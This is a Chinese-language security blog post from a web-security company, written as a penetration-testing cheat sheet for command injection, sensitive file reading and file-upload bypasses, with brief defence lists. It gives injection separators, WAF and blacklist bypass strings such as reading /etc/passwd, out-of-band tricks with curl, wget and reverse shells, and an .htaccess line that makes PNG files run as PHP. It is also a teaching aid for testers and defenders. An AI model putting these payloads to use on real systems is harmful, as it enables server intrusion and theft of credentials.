滲透測試對網站漏洞修復執行命令重點檢查

網站安全發表於2019-10-10

哈嘍大家好,近期我們Sine安全對客戶平臺進行滲透測試的時候,發現有一些命令執行的漏洞測試語句和函式,導致伺服器被提權被入侵,上一節提到XSS跨站指令碼攻擊檢測方法,本章來總和一下指令碼執行命令的詳細檢測手段,以及繞過waf的辦法,只有這樣詳細的對平臺進行安全測試才能保障整個平臺安全穩定。

滲透測試對網站漏洞修復執行命令重點檢查

3.5.1. 簡介

命令注入通常因為指Web應用在伺服器上拼接系統命令而造成的漏洞。

該類漏洞通常出現在呼叫外部程式完成一些功能的情景下。比如一些Web管理介面的配置主機名/IP/掩碼/閘道器、檢視系統資訊以及關閉重啟等功能,或者一些站點提供如ping、nslookup、提供傳送郵件、轉換圖片等功能都可能出現該類漏洞。

3.5.2. 常見危險函式

3.5.2.1. PHP

  • system
  • exec
  • passthru
  • shell_exec
  • popen
  • proc_open

3.5.2.2. Python

  • system
  • popen
  • subprocess.call
  • spawn

3.5.2.3. Java

  • java.lang.Runtime.getRuntime().exec(command)

3.5.3. 常見注入方式

滲透測試對網站漏洞修復執行命令重點檢查

分號分割

  • || && & 分割
  • | 管道符
  • \r\n %d0%a0 換行
  • 反引號解析
  • $() 替換

3.5.4. 無回顯技巧

  • bash反彈shell
  • DNS帶外資料
  • http帶外
  • curl (whoami)
  • wget (whoami)
  • 無帶外時利用 sleep 或其他邏輯構造布林條件

3.5.5. 常見繞過方式

3.5.5.1. 空格繞過

  • < 符號 cat<123
  • \t / %09
  • ${IFS} 其中{}用來截斷,比如cat$IFS2會被認為IFS2是變數名。另外,在後面加個$可以起到截斷的作用,一般用$9,因為$9是當前系統shell程式的第九個引數的持有者,它始終為空字串

3.5.5.2. 黑名單繞過

  • a=l;b=s;$a$b
  • echo "bHM=" | -d
  • /?in/?s => /bin/ls
  • 連線符 cat /etc/pass'w'd
  • 未定義的初始化變數 cat$x /etc/passwd

3.5.5.3. 長度限制繞過

>wget\

>foo.\

>com

ls -t>a

sh a

上面的方法為透過命令列重定向寫入命令,接著透過ls按時間排序把命令寫入檔案,最後執行 直接在Linux終端下執行的話,建立檔案需要在重定向符號之前新增命令 這裡可以使用一些諸如w,[之類的短命令,(使用ls /usr/bin/?檢視) 如果不新增命令,需要Ctrl+D才能結束,這樣就等於標準輸入流的重定向 而在php中 , 使用 shell_exec 等執行系統命令的函式的時候 , 是不存在標準輸入流的,所以可以直接建立檔案

3.5.6. 常用符號

3.5.6.1. 命令分隔符

  • %0a / %0d / \n / \r
  • ;
  • & / &&

3.5.6.2. 萬用字元

  • * 0到無窮個任意字元
  • ? 一個任意字元
  • [ ] 一個在括號內的字元,e.g. [abcd]
  • [ - ] 在編碼順序內的所有字元
  • [^ ] 一個不在括號內的字元

3.5.7. 防禦

  • 不使用時禁用相應函式
  • 儘量不要執行外部的應用程式或命令
  • 做輸入的格式檢查
  • 轉義命令中的所有shell元字元
  • shell元字元包括 #&;`,|*?~<>^()[]{}$\

3.6. 檔案讀取

3.6. 檔案讀取

考慮讀取可能有敏感資訊的檔案

  • 使用者目錄下的敏感檔案
  • .bash_history
  • .zsh_history
  • .profile
  • .bashrc
  • .gitconfig
  • .viminfo
  • passwd
  • 應用的配置檔案
  • /etc/apache2/apache2.conf
  • /etc/nginx/nginx.conf
  • 應用的日誌檔案
  • /var/log/apache2/access.log
  • /var/log/nginx/access.log
  • 站點目錄下的敏感檔案
  • .svn/entries
  • .git/HEAD
  • WEB-INF/web.xml
  • .htaccess
  • 特殊的備份檔案
  • .swp
  • .swo
  • .bak
  • index.php~
  • Python的Cache
  • __pycache__\__init__.cpython-35.pyc

3.7. 檔案上傳

3.7.1. 檔案型別檢測繞過

3.7.1.1. 更改請求繞過

有的站點僅僅在前端檢測了檔案型別,這種型別的檢測可以直接修改網路請求繞過。同樣的,有的站點在後端僅檢查了HTTP Header中的資訊,比如 Content-Type 等,這種檢查同樣可以透過修改網路請求繞過。

3.7.1.2. Magic檢測繞過

有的站點使用檔案頭來檢測檔案型別,這種檢查可以在Shell前加入對應的位元組以繞過檢查。幾種常見的檔案型別的頭位元組如下表所示

3.7.1.3. 字尾繞過

部分服務僅根據字尾、上傳時的資訊或Magic Header來判斷檔案型別,此時可以繞過。

php由於歷史原因,部分直譯器可能支援符合正則 /ph(p[2-7]?|t(ml)?)/ 的字尾,如 php / php5 / pht / phtml / shtml / pwml / phtm 等 可在禁止上傳php檔案時測試該型別。

jsp引擎則可能會解析 jspx / jspf / jspa / jsw / jsv / jtml 等字尾,asp支援 asa / asax / cer / cdx / aspx / ascx / ashx / asmx / asp{80-90} 等字尾。

除了這些繞過,其他的字尾同樣可能帶來問題,如 vbs / asis / sh / reg / cgi / exe / dll / com / bat / pl / cfc / cfm / ini 等。

3.7.1.4. 系統命名繞過

在Windows系統中,上傳 index.php. 會重新命名為 . ,可以繞過字尾檢查。也可嘗試

index.php%20, index.php:1.jpg index.php::$DATA 等。在Linux系統中,可以嘗試上傳名為 index.php/. 或 ./aa/../index.php/. 的檔案

3.7.1.5. .user.ini

在php執行的過程中,除了主 php.ini 之外,PHP 還會在每個目錄下掃描 INI 檔案,從被執行的 PHP 檔案所在目錄開始一直上升到 web 根目錄($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被執行的 PHP 檔案在 web 根目錄之外,則只掃描該目錄。.user.ini 中可以定義除了PHP_INI_SYSTEM以外的模式的選項,故可以使用 .user.ini 加上非php字尾的檔案構造一個shell,比如 auto_prepend_file=01.gif 。

3.7.1.6. WAF繞過

滲透測試對網站漏洞修復執行命令重點檢查

有的waf在編寫過程中考慮到效能原因,只處理一部分資料,這時可以透過加入大量垃圾資料來繞過其處理函式。

另外,Waf和Web系統對 boundary 的處理不一致,可以使用錯誤的 boundary 來完成繞過。

3.7.1.7. 競爭上傳繞過

有的伺服器採用了先儲存,再刪除不合法檔案的方式,在這種伺服器中,可以反覆上傳一個會生成Web Shell的檔案並嘗試訪問,多次之後即可獲得Shell。

3.7.2. 攻擊技巧

3.7.2.1. Apache重寫GetShell

Apache可根據是否允許重定向考慮上傳.htaccess

內容為

AddType application/x-httpd-php .png php_flag engine 1

就可以用png或者其他字尾的檔案做php指令碼了

3.7.2.2. 軟連結任意讀檔案

上傳的壓縮包檔案會被解壓的檔案時,可以考慮上傳含符號連結的檔案 若伺服器沒有做好防護,可實現任意檔案讀取的效果,如果覺得防護做的不到位 不放心的話,可以找專業的網站安全公司來處理解決,畢竟術業有專攻,國內做的比較好的公司如:Sinesafe,綠盟,啟明星辰等等。

3.7.3. 防護技巧

  • 使用白名單限制上傳檔案的型別
  • 使用更嚴格的檔案型別檢查方式
  • 限制Web Server對上傳資料夾的解析


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/31542418/viewspace-2659357/,如需轉載,請註明出處,否則將追究法律責任。

相關文章